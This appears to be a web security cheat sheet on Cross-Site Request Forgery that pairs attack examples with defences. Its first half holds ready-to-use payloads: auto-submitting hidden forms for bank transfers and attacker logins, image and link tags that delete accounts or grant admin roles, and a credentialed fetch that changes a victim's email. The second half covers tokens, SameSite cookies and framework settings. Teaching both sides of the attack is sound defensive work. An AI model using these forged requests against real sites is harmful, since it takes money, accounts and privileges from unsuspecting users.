CSRF (Cross-Site Request Forgery)

1. Basic CSRF

Basic Cross-Site Request Forgery (CSRF) occurs when an attacker tricks a logged-in user into submitting a forged request to a web application. Since the browser includes credentials (like cookies) automatically, the action is performed without the user’s consent—often via hidden forms or auto-loaded resources.

<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="to" value="attacker">
</form>
<script>document.forms[0].submit()</script>

<img src="https://example.com/delete?id=123" />

2. GET-based CSRF

GET-based CSRF exploits web applications that perform sensitive state-changing actions using HTTP GET requests. Since browsers automatically include cookies with all requests, even a simple link or image load can trigger dangerous actions without user consent.

<img src="https://vulnerable-site.com/deleteAccount?user=123" />

<a href="https://vulnerable-site.com/upgradeRole?user=attacker&role=admin">
  Click here for a free gift!
</a>

3. JSON-based CSRF

JSON-based CSRF targets APIs that accept JSON payloads via authenticated sessions, often over POST, PUT, or DELETE requests. Unlike basic CSRF, this attack typically requires bypassing protections like `Content-Type` validation, `CORS` policies, or CSRF tokens.

<script>
fetch("https://api.victim.com/change-email", {
  method: "POST",
  credentials: "include",
  headers: {
    "Content-Type": "application/json"
  },
  body: JSON.stringify({
    email: "attacker@example.com"
  })
});
</script>

4. Login CSRF

Login CSRF (Cross-Site Request Forgery during authentication) forces a user to log in as another account controlled by the attacker. This can lead to privilege confusion, data exfiltration, or unauthorized access, especially if the app uses session-based authentication without strong CSRF protections.

<form action="https://target.com/login" method="POST">
  <input type="hidden" name="username" value="attacker@example.com">
  <input type="hidden" name="password" value="attackerPassword123">
</form>
<script>document.forms[0].submit()</script>

5. POST-based CSRF

POST-based CSRF targets endpoints that change state or sensitive data using HTTP POST requests. These attacks often involve silently submitting forged forms using the victim’s session cookies, bypassing user intention and sometimes lacking token-based validation.

<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="5000">
</form>
<script>document.forms[0].submit()</script>

CSRF Tools & Automation

Discovery & Scanning

• Burp Suite Scanner – Identifies CSRF vulnerabilities via passive and active checks
• OWASP ZAP – Includes CSRF detection capabilities through automated scanning
• CSRF Tester – Lightweight tool to test form-based CSRF issues manually

Exploitation & PoC Generation

• Burp Suite CSRF PoC Generator – Automatically creates proof-of-concept HTML forms
• XSS Hunter – Used for stealing CSRF tokens via stored or reflected XSS
• Custom JavaScript payloads – Tailored payloads for crafting targeted CSRF attacks

Analysis & Reporting

• Browser Developer Tools – Inspect token placement, cookie flags, and form behavior
• Token Analysis Scripts – Evaluate token strength, predictability, and regeneration
• Request Analyzers – Review and replay CSRF-protected requests for weaknesses

1. Anti-CSRF Tokens

Synchronizer Token Pattern

// Node.js example
const csrf = require('csurf');
app.use(csrf());
app.get('/form', (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() });
});

Double Submit Cookie

// Set cookie and form field with same random value
Set-Cookie: CSRF-TOKEN=abc123;
<input type="hidden" name="csrf_token" value="abc123">

2. Cookie Protections

SameSite Attribute

Set-Cookie: session=abc123; SameSite=Lax; Secure

Cookie Prefixes

Set-Cookie: __Secure-session=abc123; Secure; HttpOnly

3. Additional Protections

Custom Headers

// Require custom header for API requests
if (request.headers['X-Requested-With'] !== 'XMLHttpRequest') {
  return response.status(403).send('Forbidden');
}

Referer Validation

// Check request origin
if (!request.headers.referer.startsWith('https://yourdomain.com')) {
  return response.status(403).send('Forbidden');
}

4. Framework Protections

Django CSRF Middleware

# settings.py
MIDDLEWARE = [
    'django.middleware.csrf.CsrfViewMiddleware',
    ...
]

# Template
<form method="post">{% csrf_token %}</form>

Spring Security

@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());
    }
}

5. Monitoring & Response

Detection

• Missing CSRF tokens
• Invalid token submissions
• Referer header anomalies

Logging

• Failed CSRF validations
• Sensitive action attempts
• Origin header mismatches

Response

• Session invalidation
• User notification
• Forensic analysis